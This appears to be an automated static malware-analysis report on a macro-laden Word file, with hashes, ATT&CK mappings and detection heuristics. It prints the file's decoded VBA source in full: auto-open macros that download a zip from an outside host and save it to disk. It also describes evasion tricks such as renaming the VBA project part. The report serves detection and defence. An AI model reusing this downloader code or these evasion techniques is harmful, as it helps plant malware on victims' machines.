Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 247841b24914abc9…

MALICIOUS

Office (OOXML)

28.9 KB Created: 2021-09-05 07:27:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2021-09-15
MD5: 6fd83d739e1d5a0fbc361882221d0593 SHA-1: d36a78d4fcedcea4dd4a23a623a25bfa02d31692 SHA-256: 247841b24914abc92fd0684c21a677402a99de3d44aa4b3e3751e8993c8ecc86
200 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1105 Ingress Tool Transfer T1566.001 Spearphishing Attachment

The sample contains VBA macros that, when executed, prompt the user to download a file. The script explicitly constructs the URL "https://romanrii.com/Download/Troubleshooter.zip" and saves the downloaded content to "C:\Users\Public\Troubleshooter.zip". This behavior is indicative of a downloader or initial access stage, likely intended to fetch and execute a secondary payload.

Heuristics 9

  • VBA project inside OOXML medium 5 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present (project part renamed away from vbaProject.bin: word/vbaProjectSignatureV3.bin)
  • VBA downloads and writes a file to disk critical OLE_VBA_HTTP_DROP_EXEC
    VBA reads an HTTP response body and writes it to disk (ADODB.Stream SaveToFile). Combined with the auto-exec/Shell paths this is a download-drop dropper even when the COM ProgIDs are built dynamically to evade keyword scanning.
    Matched line in script
            oStream.Write WinHttpReq.responseBody
  • VBA project part renamed to evade filename detection high OOXML_VBA_PROJECT_RENAMED
    The VBA project is bound through the OOXML relationship/content type but its part is not named vbaProject.bin. Legitimate Office producers always emit vbaProject.bin; renaming it hides the macros from path-only scanners (observed in the SVCReady loader).
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
        Set WinHttpReq = CreateObject("Microsoft.XMLHTTP")
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub AutoOpen()
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Sub Document_Open()
  • Macro/content-enable lure medium SE_ENABLE_LURE
    Document instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings
  • VBA project is signed but not by a recognised publisher info VBA_SIGNED_UNTRUSTED
    The VBA project carries a digital signature, but the signer does not chain to a recognised code-signing publisher/CA (self-signed, unknown issuer, or unparseable). A signature alone is not evidence of benignity — malware is routinely self-signed or signed with stolen certificates.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL https://romanrii.com/Download/Troubleshooter.zip Referenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingCanvasReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2014/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2015/10/21/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/9/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/10/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/11/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/12/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/13/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/14/chartexReferenced by macro
    • http://schemas.openxmlformats.org/markup-compatibility/2006Referenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/inkReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2017/model3dReferenced by macro
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsReferenced by macro
    • http://schemas.openxmlformats.org/officeDocument/2006/mathReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingReferenced by macro
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingReferenced by macro
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2012/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2018/wordml/cexReferenced by macro
    • http://schemas.microsoft.com/office/word/2016/wordml/cidReferenced by macro
    • http://schemas.microsoft.com/office/word/2018/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2020/wordml/sdtdatahashReferenced by macro
    • http://schemas.microsoft.com/office/word/2015/wordml/symexReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkReferenced by macro
    • http://schemas.microsoft.com/office/word/2006/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeReferenced by macro

Extracted artifacts 5

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 1142 bytes
SHA-256: 63d209f7b73db9be28fdb215a32ef3a792c3a963de846a033ae4d9f38c3b4f8a
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "NewMacros"
Sub DownloadTroubleshooter()
    MsgBox ("Troubleshooting tool will now be downloaded.")
        
    Dim myURL As String
    myURL = "https://romanrii.com/Download/Troubleshooter.zip"

    Dim WinHttpReq As Object
    Set WinHttpReq = CreateObject("Microsoft.XMLHTTP")
    WinHttpReq.Open "GET", myURL, False
    WinHttpReq.send

    If WinHttpReq.Status = 200 Then
        Set oStream = CreateObject("ADODB.Stream")
        oStream.Open
        oStream.Type = 1
        oStream.Write WinHttpReq.responseBody
        oStream.SaveToFile "C:\Users\Public\Troubleshooter.zip", 2 ' 1 = no overwrite, 2 = overwrite
        oStream.Close
    End If
    MsgBox ("Download finished.")
End Sub

Sub Document_Open()
    DownloadTroubleshooter
End Sub

Sub AutoOpen()
    DownloadTroubleshooter
End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 18432 bytes
SHA-256: ae123012f6b880b37a978930defd470dba70c309895eee9e4e0b9cf33fcaa018
vbaProject_01.bin vba-project OOXML VBA project: word/vbaProjectSignatureV3.bin 4531 bytes
SHA-256: 7c4281c8a9656786129499fc9ecc6cb2f8c9b04e3652025e93f4bdc1024f59e3
vbaProject_02.bin vba-project OOXML VBA project: word/vbaProjectSignatureAgile.bin 4531 bytes
SHA-256: 3888479606d289a459fd2c0c99583f649ece0a29d61984ae6b32432ff951fec4
vbaProject_03.bin vba-project OOXML VBA project: word/vbaProjectSignature.bin 4416 bytes
SHA-256: d72e2e418954737b12ad905f618ebfc3f858d51215c158658fa65bcfb9f6c722